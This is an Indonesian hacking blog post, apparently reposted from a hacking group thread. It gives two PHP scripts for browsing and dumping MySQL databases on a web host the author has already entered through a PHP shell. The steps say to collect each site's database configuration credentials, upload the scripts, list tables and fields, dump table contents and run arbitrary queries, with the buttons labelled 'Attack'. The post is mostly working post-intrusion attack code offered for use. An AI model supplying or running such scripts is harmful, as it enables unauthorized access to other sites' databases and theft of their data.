20 January 2007

Exploit MySql Database via PHP Script


Tulisan ini saya buat, karena kebingungan saya untuk melihat database (semuanya...mulai dari nama table, field sampai dengan isinya)..
setelah saya berhasil masuk kedalam server hostingan (dengan menggunakan php shell).

Jadi langsung saja kita mulai:

langkah 1

Script yang saya buat terdiri dari 2 buah file:
1.admindb.php
2.adminatedb.php

sebelumnya karena saya pemula maka file ini script ini sangat sederhana....dan masih dapat dimodifikasi lagi

Langkah2:

1. Dapatkan file konfigurasi database dari tiap situs dalam server (gunakan php shell untuk browsing)
2. Setelah dapat maka kita hanya tinggal memasukkan nama DB, username, password dan server(default localhost)
3. jalankan file admindb.php

admindb.php

<?php if(!$submit) {
echo "Lihat Database";
echo "<form name=\"form1\" method=\"post\" action=\"\">
<table width=\"325\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\"><tr>

<td width=\"150\">Masukkan database</td>
<td width=\"4\">:</td>
<td width=\"170\"><input name=\"db\" type=\"text\" id=\"db\"></td>
</tr>
<tr>
<td width=\"150\">Masukkan username</td>
<td width=\"4\">:</td>
<td width=\"170\"><input name=\"user\" type=\"text\" id=\"user\"></td>
</tr>
<tr>
<td width=\"150\">Masukkan nama server</td>
<td width=\"4\">:</td>
<td width=\"170\"><input name=\"server\" type=\"text\" id=\"server\"
value=\"localhost\"></td>
</tr>
<tr>
<td width=\"150\">Masukkan password</td>
<td width=\"4\">:</td>
<td width=\"170\"><input name=\"password\" type=\"text\"
id=\"password\"></td>
</tr>
<tr>
<td></td>

<td></td>
<td><input name=\"submit\" type=\"submit\" id=\"submit\"
value=\"Attack\"></td>
</tr>
</table>
</form> ";
}

else

{mysql_connect($server,"$user", "$password");
$hasil=mysql_db_query($db, "show tables from $db");
$isi=mysql_num_rows($hasil);
while($isi1=mysql_fetch_row($hasil)){
for($jml=0;$jml<$isi;$jml++){
$isi2.="$isi1[$jml]\n";
}
}
echo "Nama-nama table database $db<br><br>";
echo "$isi2";
echo "<br><br><a href=admindb.php>kembali</a>";
echo "<br><a href=adminatedb.php?proses=0&db=$db&server=$server&user=$user&password=$password>lihat
field</a>";
echo "<br><a
href=adminatedb.php?proses=1&db=$db&server=$server&user=$user&password=$password>isi
field</a>";
echo "<br><a
href=adminatedb.php?proses=2&db=$db&server=$server&user=$user&password=$password>query
table</a>";
}
?>

adminatedb.php

<?php
switch($proses){
case'0':{
if(!$submit) {
echo "Lihat field Table pada $db";
echo "<form name=\"form1\" method=\"post\" action=\"\">
<table width=\"325\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">
<tr>
<td width=\"150\">Masukkan table</td>
<td width=\"4\">:</td>
<td width=\"170\"><input name=\"table\" type=\"text\" id=\"table\"></td>
</tr>
<tr>
<td></td>
<td></td>
<td><input name=\"submit\" type=\"submit\" id=\"submit\"
value=\"Attack\"></td>
</tr>
</table>
</form> ";
}
else
{ mysql_connect($server,"$user", "$password");
$hasil=mysql_db_query($db, "show fields from $table");
$isi=mysql_num_rows($hasil);
while($isi1=mysql_fetch_row($hasil)){
for($jml=0;$jml<$isi;$jml++){
$isi2.="$isi1[$jml]\n";
}
}
echo "field-field table $table<br><br>";
echo "$isi2";
echo "<br><br><a href=admindb.php>kembali</a>";
echo "<br><a href=adminatedb.php?proses=1&db=$db&server=$server&user=$user&password=$password>kembali
table</a>";
}
break;
}
case'1':{
if(!$submit) {
echo "Lihat Isi Table pada $db";
echo "<form name=\"form1\" method=\"post\" action=\"\">
<table width=\"325\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">
<tr>
<td width=\"150\">Masukkan table</td>
<td width=\"4\">:</td>
<td width=\"170\"><input name=\"table\" type=\"text\" id=\"table\"></td>
</tr>
<tr>
<td></td>
<td></td>
<td><input name=\"submit\" type=\"submit\" id=\"submit\" value=\"Attack\"></td>
</tr>
</table>
</form> ";
}
else{
mysql_connect($server,"$user", "$password");
$parameter=mysql_db_query($db, "show fields from $table");
$hasil=mysql_db_query($db, "select * from $table");
$isi=mysql_num_rows($parameter);
while($isi1=mysql_fetch_row($hasil))
{for($jml=0;$jml<$isi;$jml++)
{$isi2.="$isi1[$jml]\n";
}
}
echo "isi table $table<br><br>";
echo "$isi2";
echo "<br><br><a href=admindb.php>kembali</a>";
}
break;
}
case'2':{
mysql_connect(localhost,"", "");
if($submit) {
//$pass=md5($password);
$hasil =mysql_db_query($db, "$query");
if($hasil){
echo "Serangan Berhasil";
}
else {
echo "Serangan gagal";
}
}
else {
echo "<form name=\"form1\" method=\"post\" action=\"\">
<table width=\"233\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">
<tr>
<td width=\"59\">query</td>
<td width=\"4\">:</td>
<td width=\"170\"><textarea name=\"query\" rows=\"5\" id=\"query\"></textarea></td>
</tr>
<tr>
<td></td>
<td>:</td>
<td><input name=\"submit\" type=\"submit\" id=\"submit\"></td>
</tr>
</table>
</form>";
}
}
break;
}
?>

4. Selamat browsing isi database yah....

Perhatian ... teknik ini berfungsi saat kita sudah dapat masuk ke

server tersebut dan dapat mengupload file2 tersebut



http://groups.google.com/group/jogjahacking/browse_thread/thread/51b5d6e388ad0b37/#